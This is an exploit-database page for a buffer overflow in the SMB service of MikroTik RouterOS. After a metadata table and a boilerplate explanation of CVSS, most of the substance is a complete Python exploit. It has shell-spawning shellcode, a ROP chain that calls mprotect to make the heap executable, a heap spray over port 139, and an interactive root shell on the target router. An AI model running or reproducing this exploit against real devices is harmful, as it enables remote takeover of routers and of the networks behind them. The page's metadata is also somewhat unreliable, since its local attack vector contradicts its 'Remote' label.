Exploitalert - Database of Exploits

MikroTik RouterOS < 6.41.3/6.42rc27 SMB Buffer Overflow

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-119	$10,000	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2018-03-16

CPE
cpe:cpe:/o:mikrotik:routeros:6.42:rc27

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018030132

MikroTik RouterOS < 6.41.3/6.42rc27 SMB Buffer Overflow

#!/usr/bin/env python import socket import struct import sys import telnetlib NETBIOS_SESSION_MESSAGE = "\x00" NETBIOS_SESSION_REQUEST = "\x81" NETBIOS_SESSION_FLAGS = "\x00" # trick from http://shell-storm.org/shellcode/files/shellcode-881.php # will place the socket file descriptor in eax find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48" # dup stdin-stdout-stderr so we can reuse the existing connection dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9" # execve - cannot pass the 2nd arg as NULL or busybox will complain execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # build shellcode shellcode = find_sock_fd + dup_fds + execve_bin_sh # rop to mprotect and make the heap executable # the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it p = lambda x : struct.pack('I', x) rop = "" rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; rop += p(0x08072000) # ebx -> heap base rop += p(0xffffffff) # ebp -> gibberish rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; rop += p(0x14000) # ecx -> size for mprotect rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC rop += p(0xffffffff) # edi -> gibberish rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x0000007d) # ebp -> mprotect system call rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0) # edx -> zeroed out rop += p(0x0) # ecx -> zeroed out rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap offset_to_regs = 83 # we do not really care about the initial register values other than overwriting the saved ret address ebx = p(0x45454545) esi = p(0x45454545) edi = p(0x45454545) ebp = p(0x45454545) eip = p(0x0804886c) # 0x0804886c: ret; payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload)) buf = header + payload def open_connection(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 139)) return s def store_payload(s): print "[+] storing payload on the heap" s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode) def crash_smb(s): print "[+] getting code execution" s.send(buf) if __name__ == "__main__": if len(sys.argv) != 2: print "%s ip" % sys.argv[0] sys.exit(1) s = open_connection(sys.argv[1]) store_payload(s) # the server closes the first connection, so we need to open another one t = telnetlib.Telnet() t.sock = open_connection(sys.argv[1]) crash_smb(t.sock) print "[+] got shell?" t.interact()

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